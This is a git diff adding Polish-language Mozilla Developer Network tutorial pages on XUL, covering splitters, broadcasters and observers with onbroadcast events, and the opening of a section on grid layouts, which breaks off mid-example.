+<p>Zobaczmy, jak wygląda okienko dialogowe znajdywania plików z rozdzielaczem wewnątrz. Jedną z możliwości jest dodanie wyniku szukania w okienku dialogowym. Dodamy obszar pomiędzy kryteriami wyszukiwania, a przyciskami wzdłuż dołu. Rozdzielacz pozwoli na rozwinięcie lub zwinięcie okna wyników szukania. </p>
+<pre class="eval">&lt;/tabbox&gt;
+
+ <span class="highlightred">&lt;iframe src="results.html"/&gt;
+ &lt;splitter resizeafter="grow"/&gt;</span>
+
+ &lt;hbox&gt;
+</pre>
+<p>Powyżej dodaliśmy rozdzielacz i ramkę do okienka dialogowego. Nie potrzebujemy już <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_spacer.html">separatora</a></code> za <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_tabbox.html">tabbox</a></code>, dlatego go usuwamy. Zawartość ramki jest zawarta w pliku o nazwie 'results.html'. Utwórz taki plik i umieść w nim, co chcesz. Ramka zostanie później zastąpiona przez listę rezultatów, kiedy będziesz już wiedział, jak ją stworzyć. Na razie posłuży do zademonstrowania rozdzielacza.
+</p><p>Rozdzielacz został ustawiony na <code>collapse</code> o wartości <code>before</code>, znaczy to, że element tylko przed rozdzielaczem zostanie zawinięty. Tutaj jest to ramka. Jak pokazuje obrazek poniżej, dzieje się to w momencie kliknięcia grippy, a ramka zostanie zawinięta i przyciski zostaną przesunięte wyżej. </p><p>Atrybut <code>resizeafter</code> ustawiony na wartość <code>grow</code>, dlatego elementy za rozdzielaczem przesuwają się w dół po tym, jak rozdzielacz jest przeciągnięty w dół. To rzutuje na zawartość ramki, która rośnie do jakiegoś rozmiaru. Zaznaczmy, że okno nie zmienia rozmiaru automatycznie sama. Nasz rozdzielacz jest rozdzielaczem poziomym, ponieważ jest umieszczony w pionowym pudełku.
+</p><p>Stan normalny:
+</p><p><img alt="grafika:splitter1.png">
+</p><p>Stan schowany:
+</p><p><img alt="grafika:splitter2.png">
+</p><p>Przykład <code>Znajdź pliki</code>: <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-splitter.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-splitter.xul">Podgląd</a>
+</p>
+</div>
+<p>Następnie zobaczymy, jak utworzyć <a href="pl/Kurs_XUL/Paski_przewijania">pasek przewijania</a>.
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Panele_treści" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Paski_przewijania">Następny »</a></p>
+</div>
+<p></p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/rozgłaszacze_oraz_obserwatory/index.html b/files/pl/mozilla/tech/xul/kurs_xul/rozgłaszacze_oraz_obserwatory/index.html
new file mode 100644
index 0000000000..526ea7850c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/rozgłaszacze_oraz_obserwatory/index.html
@@ -0,0 +1,127 @@
+---
+title: Rozgłaszacze oraz obserwatory
+slug: Mozilla/Tech/XUL/Kurs_XUL/Rozgłaszacze_oraz_obserwatory
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Broadcasters_and_Observers
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Aktualizacja_poleceń" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Obiektowy_model_dokumentu">Następny »</a></p>
+</div><p></p>
+
+<p>Czasem będziesz chciał, żeby kilka elementów odpowiadało na wydarzenia albo zmiany statusu i robiło to z łatwością. Aby tego dokonać można użyć rozgłaszaczy.</p>
+
+<h2 id="Przekazywanie_atrybutu_polecenia" name="Przekazywanie_atrybutu_polecenia">Przekazywanie atrybutu polecenia</h2>
+
+<p>Widzieliśmy już, że elementy takie jak przyciski mogą być podczepione do komend. Dodatkowo, jeśli umieścisz atrybut <code><code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code></code> w elemencie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code></code>, jakikolwiek element podczepiony do niej również stanie się nieaktywny. Jest to użyteczny sposób aby jak najbardziej skrócić pisany przez Ciebie kod. Technika ta działa również na inne atrybuty. Na przykład jeśli umieścisz atrybut <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code> w elemencie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code></code>, każdy przycisk podczepiony do niej będzie miał taką samą etykietę.</p>
+
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_broadob_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_broadob_1.xul">Podgląd</a></p>
+
+<pre>&lt;command id="my_command" label="Otwórz"/&gt;
+
+&lt;button command="my_command"/&gt;
+&lt;checkbox label="Open in a new window" command="my_command"/&gt;
+</pre>
+
+<p>W tym przykładzie przycisk nie ma atrybutu <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>, ale jest podczepiony do komendy, która go ma. Przycisk będzie dzielił nalepkę/podpis z komendą. Pole wyboru ma już etykietę, jednak będzie ona nadpisana przez nalepkę komendy. Rezultat będzie taki, że zarówno przycisk jak i pole wyboru będą miały taką samą etykietę 'Otwórz'.</p>
+
+<p>Jeśli chciałbyś zmodyfikować atrybut <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code> polecenia, etykieta przycisku i pola wyboru zostaną odpowiednio dostosowane. Widzieliśmy już coś takiego w poprzedniej sekcji, gdzie atrybut <code><code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code></code> był dostosowywany raz i status ten propagował się na inne elementy.</p>
+
+<p>To przekazywanie atrybutu jest bardzo użyteczne w kilku przypadkach. Na przykład powiedzmy, że chcemy zdezaktywować akcję Wstecz w przeglądarce. Powinniśmy zdezaktywować komendę Wstecz w menu, przycisk Wstecz na pasku zadań, skrót klawiaturowy (np. Alt+Lewo) i wszelkie inne komendy Wstecz na menu popup. Chociaż moglibyśmy napisać skrypt, który by to robił, to jest to trochę uciążliwe. Posiada ponadto tę wadę, że musielibyśmy znać wszystkie miejsca gdzie Wstecz mogłoby się znajdować. Jeśli ktoś dodałby nowy przycisk Wstecz używając linku, nie byłby on obsłużony. Dlatego wygodniej jest po prostu zdezaktywować akcję Wstecz i sprawić, że wszystkie podczepione elementy same się zdezaktywują. Możemy użyć przekazywania atrybutu komend, aby uzyskać taki efekt.</p>
+
+<h2 id="Rozg.C5.82aszacze" name="Rozg.C5.82aszacze">Rozgłaszacze</h2>
+
+<p>Podobnym elementem jest <code><code><a href="/pl/docs/Mozilla/Tech/XUL/broadcaster" title="broadcaster">broadcaster</a></code></code>. Rozgłaszacze wspierają przekazywanie atrybutów w taki sam sposób jak komendy. Różnicą jest to, że komend używa się do akcji, a rozgłaszaczy do przekazywania informacji o statusie. Na przykład <code><code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code></code>będzie użyta do akcji takiej jak Wstecz, Wytnij albo Usuń. <code><code><a href="/pl/docs/Mozilla/Tech/XUL/broadcaster" title="broadcaster">broadcaster</a></code></code> byłby użyty np. do przekazania flagi oznaczającej czy użytkownik jest online czy nie. W pierwszym przypadku elementy menu i przyciski paska zadań musiałyby być zdezaktywowane, gdy nie istniała żadna strona, do której można by wrócić, albo nie było tekstu do wycięcia czy usunięcia. W drugim przypadku wiele elementów UI musi być zaktualizowanych, gdy użytkownik przechodzi z modu offline do online.</p>
+
+<p>Najprostszy rozgłaszacz jest pokazany poniżej. Powinieneś zawsze używać atrybutu <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code>, żeby inne elementy mogły się do niego odnosić.</p>
+
+<pre>&lt;broadcasterset&gt;
+ &lt;broadcaster id="isOffline" label="Offline"/&gt;
+&lt;/broadcasterset&gt;
+</pre>
+
+<p>Każdy element obserwujący rozgłaszacza będzie automatycznie zmodyfikowany, gdy tylko rozgłaszacz zmieni swój atrybut <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>. Rezultatem będzie posiadanie przez te elementy nowej nalepki. Podobnie jak inne nie wyświetlane elementy, element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/broadcasterset" title="broadcasterset">broadcasterset</a></code></code> służy jako przechowalnia dla rozgłaszaczy. Powinieneś zdeklarować wszystkich rozgłaszaczy w elemencie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/broadcasterset" title="broadcasterset">broadcasterset</a></code></code>, żeby mogły być przetrzymywane razem.</p>
+
+<h2 id="Making_elements_observers" name="Making_elements_observers">Making elements observers</h2>
+
+<p>Elementy, które obserwują rozgłaszacza nazywane są obserwatorami. Aby zrobić z elementu obserwatora, dodaj do niego atrybut <code><code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code></code>. Jest to analogiczne do używania atrybutu <code><code id="a-command"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/command">command</a></code></code>, podczas dołączania elementu do <code><code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code></code>. Na przykład w celu uczynienia przycisku obserwatorem rozgłaszacza z poprzedniego przykładu:</p>
+
+<pre>&lt;button id="offline_button" observes="isOffline"/&gt;
+</pre>
+
+<p>Atrybut <code><code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code></code> został nałożony na przycisk i jego wartość została ustawiona na wartość <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> rozgłaszacza. Tutaj przycisk będzie obserwował rozgłaszacza, który ma id <code>isOffline</code>. Jeśli wartość atrybutu <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code> rozgłaszacza zmieni się, obserwatorzy będą zaktualizowani i ich atrybuty <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code> też się zmienią.</p>
+
+<p>Moglibyśmy kontynuować z dodatkowymi elementami, ponieważ jeden rozgłaszacz może być obserwowany przez tyle elementów, ile tylko chcesz. Możesz także mieć tylko jednego obserwatora, ale mało na tym zyskasz, ponieważ głównym celem rozgłaszacza jest powiadamianie wielu elementów na raz. Powinieneś używać rozgłaszaczy tylko wtedy, gdy chcesz, aby wiele elementów obserwowało jeden atrybut. Poniżej zdefiniowano kilka dodatkowych obserwatorów:</p>
+
+<pre>&lt;broadcaster id="offline_command" label="Offline" accesskey="f"/&gt;
+
+&lt;keyset&gt;
+ &lt;key id="goonline_key" observes="offline_command" modifiers="accel" key="O"/&gt;
+&lt;/keyset&gt;
+&lt;menuitem id="offline_menuitem" observes="offline_command"/&gt;
+&lt;toolbarbutton id="offline_toolbarbutton" observes="offline_command"/&gt;
+</pre>
+
+<p>W tym przykładzie zarówno <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code> jak i <code><code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code></code> będą przekazane od rozgłaszacza do klucza, elementu menu i przycisku. Klucz nie zrobi użytku z żadnego otrzymanego atrybutu, ale będzie on zdezaktywowany w tej samej chwili co rozgłaszacz.</p>
+
+<p>Możesz użyć rozgłaszacza do obserwacji jakiegokolwiek atrybutu chcesz. Obserwatorzy wyłapią wszystkie wartości każdego atrybutu rozgłaszacza, jeśli tylko się zmienią. Gdy tylko wartość jakiegokolwiek atrybutu rozgłaszacza się zmieni, obserwatorzy zostaną powiadomieni i sami odpowiednio dostosuję swoje atrybuty. Jednak, jeśli obserwatorzy posiadają atrybuty, których nie ma rozgłaszacz, to nie będą one zmienione. Wyjątek stanowią atrybuty <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> i <code><code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code></code>; one nigdy nie są zmieniane. Możesz też używać swoich własnych atrybutów, jeśli chcesz.</p>
+
+<p>Rozgłaszacze nie są tak często używani jak komendy, ponieważ te ostatnie mogą dokonać więcej. Jedna rzecz godna odnotowania to fakt, że w rzeczywistości nie ma różnic pomiędzy elementem <code><code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code></code> a elementem <code><code><a href="/pl/docs/Mozilla/Tech/XUL/broadcaster" title="broadcaster">broadcaster</a></code></code>. Obydwa wykonują tę samą funkcję. Różnica jest bardziej znaczeniowa. Używaj komend do akcji, a rozgłaszaczy do statusów. W rzeczywistości każdy element może być rozgłaszaczem, póki tylko go obserwujesz za pomocą atrybutu <code><code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code></code>.</p>
+
+<h2 id="Element_observes" name="Element_observes">Element <code>observes</code></h2>
+
+<p>Jest również sposób na to, aby dokładniej określić który atrybut rozgłaszacza ma dany element obserwować. Wymaga to elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/observes" title="observes">observes</a></code></code>. Tak jak jego odpowiednik atrybutu, pozwala Ci na zdefiniowanie elementu-obserwatora. Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/observes" title="observes">observes</a></code></code> powinien być umieszczony jako potomny elementowi, którego chcemy uczynić obserwatorem. Przykład jest podany poniżej:</p>
+
+<p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_broadob_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_broadob_2.xul">Podgląd</a></p>
+
+<pre>&lt;broadcasterset&gt;
+ &lt;broadcaster id="isOffline" label="Offline" accesskey="f"/&gt;
+&lt;/broadcasterset&gt;
+
+&lt;button id="offline_button"&gt;
+ &lt;observes element="isOffline" attribute="label"/&gt;
+&lt;/button&gt;
+</pre>
+
+<p>Do elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/observes" title="observes">observes</a></code></code> dodano dwa atrybuty. Pierwszy - <code><code id="a-element"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/element">element</a></code></code> - wyszczególnia id rozgłaszacza do obserwowania. Drugi - <code><code id="a-attribute"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/attribute">attribute</a></code></code> - wyszczególnia atrybut do obserwacji. Rezultatem jest to, że przycisk otrzyma swoją nalepkę od rozgłaszacza, a gdy ona się zmieni, nalepka przycisku też odpowiednio się zmieni. Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/observes" title="observes">observes</a></code></code> nie zmienia się, ale element, którego jest on częścią się zmienia, jest to w tym przypadku przycisk. Zauważmy, że <code><code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code></code> nie został przekazany przyciskowi, ponieważ to nie on jest obserwowany. Jeśli chcesz, żeby był, musisz dodać kolejny element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/observes" title="observes">observes</a></code></code>. Jeśli nie chcesz używać żadnych elementów <code><code><a href="/pl/docs/Mozilla/Tech/XUL/observes" title="observes">observes</a></code></code>, a zamiast tego użyć atrybutu <code><code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code></code> bezpośrednio dla przycisku, to obserwowane będą wszystkie atrybuty.</p>
+
+<h3 id="Zdarzenia_rozg.C5.82aszacza" name="Zdarzenia_rozg.C5.82aszacza">Zdarzenia rozgłaszacza</h3>
+
+<p>Jest jeszcze dodatkowy manipulator wydarzeń, którego możemy umieścić w elemencie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/observes" title="observes">observes</a></code></code> ustawionym na <code>onbroadcast</code>. Wydarzenie jest wywoływane gdy tylko obserwator zauważy zmianę atrybutu rozgłaszacza, któremu się przygląda. Poniżej podany jest przykład:</p>
+
+<p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_broadob_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_broadob_3.xul">Podgląd</a></p>
+
+<pre>&lt;broadcasterset&gt;
+ &lt;broadcaster id="colorChanger" style="color: black"/&gt;
+&lt;/broadcasterset&gt;
+
+&lt;button label="Test"&gt;
+ &lt;observes element="colorChanger" attribute="style" onbroadcast="alert('Color changed');"/&gt;
+&lt;/button&gt;
+
+&lt;button label="Observer"
+ oncommand="document.getElementById('colorChanger').setAttribute('style','color: red');"
+/&gt;
+</pre>
+
+<p>Zostały stworzone dwa przyciski, jeden oznaczony "Test", a drugi - "Obserwator". Jeśli klikniesz na przycisk "Test", nic specjalnego się nie stanie. Jednakże, jeśli klikniesz na przycisk "Obserwator", wydarzą się dwie rzeczy. Najpierw przycisk zmieni się i pojawi się na nim czerwony tekst, a potem ukaże się okno komunikatu z informacją "Zmienił się kolor" (
+ <i>"Color changed"</i>
+ ).</p>
+
+<p>To co się dzieje, to wywołanie manipulatora <code><code id="a-oncommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommand">oncommand</a></code></code>, gdy użytkownik naciska przycisk. Skrypt dostaje odnośnik do rozgłaszacza i zmienia jego styl, tak aby <code>color</code> był czerwony (
+
+ <i>red</i>
+ ). Sam rozgłaszacz nie reaguje na tą zmianę, ponieważ nie jest wyświetlany na ekranie, ale pierwszy przycisk jest obserwatorem i zauważa zmianę stylu. <code><code id="a-element"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/element">element</a></code></code> i <code><code id="a-attribute"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/attribute">attribute</a></code></code> w <code><code><a href="/pl/docs/Mozilla/Tech/XUL/observes" title="observes">observes</a></code></code> wykrywają tą zmianę. Styl zostaje zaaplikowany na przycisk natychmiastowo.</p>
+
+<p>Następnie, ponieważ pojawiła się informacja do rozgłoszenia, zostaje wywołany manipulator wydarzeń <code>onbroadcast</code>. Rezultatem tego jest pojawiające się okno komunikatu. Zauważmy, że informacja do rozgłoszenia pojawia się tylko wtedy, gdy atrybuty w elemencie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/broadcaster" title="broadcaster">broadcaster</a></code></code> się zmieniają. Bezpośrednia zmiana stylu przycisków nie spowoduje jej pojawienia się, a więc nie ukaże się też okno komunikatu.</p>
+
+<p>Jeśli spróbujesz skopiować kod pierwszego <code><code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code> kilka razy, skończy się to tym, że pojawi się seria komunikatów, po jednym dla każdego przycisku. Dzieje się tak, ponieważ każdy z nich jest obserwatorem i będzie powiadamiany, gdy zmieni się styl.</p>
+
+<p><br>
+ Następnie zajmiemy się używaniem <a href="pl/Kurs_XUL/Obiektowy_model_dokumentu">Obiektowego Modelu Dokumentu (Document Object Model, DOM) z elementami XUL</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Aktualizacja_poleceń" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Obiektowy_model_dokumentu">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/siatki/index.html b/files/pl/mozilla/tech/xul/kurs_xul/siatki/index.html
new file mode 100644
index 0000000000..950a7da3de
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/siatki/index.html
@@ -0,0 +1,169 @@
+---
+title: Siatki
+slug: Mozilla/Tech/XUL/Kurs_XUL/Siatki
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Grids
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Pudełko_kart" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Panele_treści">Następny »</a></p>
+</div>
+<p></p><p>XUL posiada zbiór elementów do tworzenia siatki tabeli.
+</p>
+<h3 id="Tabelaryczny_uk.C5.82ad_graficzny_XUL" name="Tabelaryczny_uk.C5.82ad_graficzny_XUL"> Tabelaryczny układ graficzny XUL </h3>
+<p>XUL posiada zbiór elementów do wykonania układu graficznego elementów w formie siatki przy zastosowaniu elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code></code>. Posiada on kilka podobieństw w stosunku do znacznika <code>table</code> z języka HTML. Siatka nie wyświetla niczego sama; jest stosowana tylko do pozycjonowania elementów w formie tabeli z wierszami oraz kolumnami.
+</p><p>Siatka zawiera elementy, które są wyrównywane w wierszach podobnie jak tabele. Wewnątrz <code><code><a href="/pl/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code></code> deklarujemy dwie rzeczy; kolumny i wiersze, które są zastosowane. Podobnie jak tabele HTML, wstawiamy zawartość do wnętrza wiersza, taką jak etykiety i przyciski. Jednakże siatka, czy to oparta o wiersze czy kolumny, pozwala na zawarcie treści w wiersze i kolumny. Najpowszechniej stosuje się wiersze, tak jak z tabelami. Jednakże nadal możemy użyć kolumn do określenia rozmiaru i wyglądu kolumn w siatce. Alternatywnie możemy umieścić zawartość wewnątrz kolumn i zastosować wiersze do określenia wyglądu. Zobaczymy przypadek organizacji elementów za pomocą wiersza.
+</p>
+<h4 id="Deklaracja_siatki" name="Deklaracja_siatki"> Deklaracja siatki </h4>
+<p>Aby zadeklarować ustawienie wierszy, stosujemy znacznik <code><code><a href="/pl/docs/Mozilla/Tech/XUL/rows" title="rows">rows</a></code></code>, który powinien być elementem potomnym <code><code><a href="/pl/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code></code>. Wewnątrz powinniśmy dodać elementy <code><code><a href="/pl/docs/Mozilla/Tech/XUL/row" title="row">row</a></code></code>, które są stosowane dla każdego wiersza. Wewnątrz elementu wiersza powinniśmy umieścić zawartość, jaką chcemy mieć wewnątrz tego wiersza.
+</p><p>Podobnie kolumny są deklarowane poprzez element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/columns" title="columns">columns</a></code></code>, który powinien być umieszczony jako element potomny <code><code><a href="/pl/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code></code>, wewnątrz którego przechodzimy do pojedynczego elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/column" title="column">column</a></code></code>, jednego dla każdej kolumny, jaką chcesz w siatce.
+</p><p>Stanie się to o wiele łatwiejsze do zrozumienia dzięki przykładowi:
+</p><p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_1.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="grafika:grids1.png"></div>
+<pre>&lt;grid flex="1"&gt;
+
+ &lt;columns&gt;
+ &lt;column flex="2"/&gt;
+ &lt;column flex="1"/&gt;
+ &lt;/columns&gt;
+
+ &lt;rows&gt;
+ &lt;row&gt;
+ &lt;button label="Królik"/&gt;
+ &lt;button label="Słoń"/&gt;
+ &lt;/row&gt;
+ &lt;row&gt;
+ &lt;button label="Koala"/&gt;
+ &lt;button label="Goryl"/&gt;
+ &lt;/row&gt;
+ &lt;/rows&gt;
+
+&lt;/grid&gt;
+</pre>
+<p><br>
+Do siatki zostały dodane dwa wiersze i dwie kolumny. Każda kolumna jest zadeklarowana znacznikiem <code><code><a href="/pl/docs/Mozilla/Tech/XUL/column" title="column">column</a></code></code>. Każda kolumna posiada dodany atrybut <code><code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code></code>. Każdy wiersz zawiera dwa elementy, oba są przyciskami. Pierwszy element w każdym elemencie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/row" title="row">row</a></code></code> jest umieszczony w pierwszej kolumnie siatki, a drugi element każdego wiersza jest umieszczony w drugiej kolumnie. Zauważ, że nie potrzebujemy żadnego elementu do deklaracji komórki -- nie ma odpowiednika elementu <code>td</code> z języka HTML. Zamiast tego wstawiamy zawartość komórki bezpośrednio do elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/row" title="row">row</a></code></code>.
+</p>
+<h4 id="Siatka_z_wi.C4.99ksz.C4.85_ilo.C5.9Bci.C4.85_element.C3.B3w" name="Siatka_z_wi.C4.99ksz.C4.85_ilo.C5.9Bci.C4.85_element.C3.B3w"> Siatka z większą ilością elementów </h4>
+<p>Możemy zastosować dowolny element w miejsce elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code>. Jeśli chcemy część jednej komórki wypełnić wieloma elementami, to stosujemy poprzez zagnieżdżenie element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/hbox" title="hbox">hbox</a></code></code> lub inny element pudełkowy. Element <code>hbox</code> jest pojedynczym elementem, ale możemy wstawić w nim wiele, jakie chcielibyśmy w nim umieścić. Na przykład:
+</p><p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_2.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="grafika:grids2.png"></div>
+<pre>&lt;grid flex="1"&gt;
+
+ &lt;columns&gt;
+ &lt;column/&gt;
+ &lt;column flex="1"/&gt;
+ &lt;/columns&gt;
+
+ &lt;rows&gt;
+ &lt;row&gt;
+ &lt;label control="doctitle" value="Tytuł dokumentu:"/&gt;
+ &lt;textbox id="doctitle" flex="1"/&gt;
+ &lt;/row&gt;
+ &lt;row&gt;
+ &lt;label control="docpath" value="Ścieżka:"/&gt;
+ &lt;hbox flex="1"&gt;
+ &lt;textbox id="docpath" flex="1"/&gt;
+ &lt;button label="Przeglądaj..."/&gt;
+ &lt;/hbox&gt;
+ &lt;/row&gt;
+ &lt;/rows&gt;
+&lt;/grid&gt;
+</pre>
+<p>Zauważ, tak jak na obrazku, w jaki sposób pierwsza kolumna elementów zawiera tylko etykietę posiadając pojedynczy element w każdym wierszu. Druga kolumna zawiera pudełko w drugim wierszu, w którym zawartość dwóch elementów, <code><code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code></code> oraz <code><code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code>. Możemy dodatkowo dodać
+zagnieżdżone pudełka lub użyć kolejnej siatki wewnątrz pojedynczej komórki. </p><p>Jeśli zmieniliśmy rozmiar okna z ostatniego przykładu zobaczymy, że zmienił się rozmiar pól tekstowych, ale nie innych elementów. Jest tak, ponieważ atrybuty <code><code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code></code> zostały dodane do pól tekstowych i drugiej kolumny. Pierwsza kolumna nie musi być elastyczna jako etykieta i nie potrzebuje zmiany swojego rozmiaru.
+</p><p>Początkowa szerokość kolumny jest określana przez największy element w kolumnie. Podobnie wysokość wiersza jest określana przez rozmiar elementów w wierszu. Możesz użyć atrybutów <code><code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code></code> i <code><code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code></code> oraz powiązanych atrybutów dla dalszego zdefiniowania rozmiaru.
+</p>
+<h4 id="Przyk.C5.82ad_siatki_z_wi.C4.99ksz.C4.85_ilo.C5.9Bci.C4.85_kolumn" name="Przyk.C5.82ad_siatki_z_wi.C4.99ksz.C4.85_ilo.C5.9Bci.C4.85_kolumn"> Przykład siatki z większą ilością kolumn </h4>
+<p>Możemy również umieścić elementy wewnątrz elementów <code><code><a href="/pl/docs/Mozilla/Tech/XUL/column" title="column">column</a></code></code> zamiast wierszy. Jeśli to zrobimy, wiersze będą zadeklarowane tylko do określenia, jak wiele wierszy tam jest.
+</p><p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_grids_3.xul">Podgląd</a>
+</p>
+<pre>&lt;grid&gt;
+ &lt;rows&gt;
+ &lt;row/&gt;
+ &lt;row/&gt;
+ &lt;row/&gt;
+ &lt;/rows&gt;
+
+ &lt;columns&gt;
+ &lt;column&gt;
+ &lt;label control="first" value="Pierwsze imię:"/&gt;
